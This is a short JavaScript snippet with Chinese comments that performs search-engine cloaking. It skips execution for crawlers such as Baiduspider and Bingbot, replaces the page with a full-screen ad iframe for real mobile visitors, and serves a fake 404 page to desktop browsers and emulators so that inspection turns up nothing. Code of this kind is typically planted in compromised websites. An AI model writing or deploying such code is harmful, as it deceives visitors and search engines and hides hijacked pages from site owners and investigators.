function guanggao(url) {
window.addEventListener('DOMContentLoaded', function () {
document.write('');
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.overflow = "auto";
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
});
}
// 判断爬虫UA(支持百度、搜狗、神马、360、头条、必应)
var us = navigator.userAgent.toLowerCase();
var isSpider = /(baiduspider|sogou|yisouspider|360spider|bytespider|bingbot|shenma)/i.test(us);
// 增强移动端设备检测(支持云手机等新型设备)
var is_mobi = /(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince|mobile|webos|huawei|vivo|oppo|xiaomi|redmi|mi\s|sm-|cloudmobi|aliyunos)/i.test(us);
// 判断是否PC平台(包括开发者工具模拟手机情况)
var isPC = /(Win32|Win64|Macintosh|MacIntel|Linux x86_64)/i.test(navigator.platform);
if (!isSpider) {
if (is_mobi && !isPC) {
guanggao('/moad.html'); // 真实移动设备
} else {
guanggao('/fn404.html'); // PC或模拟器
}
}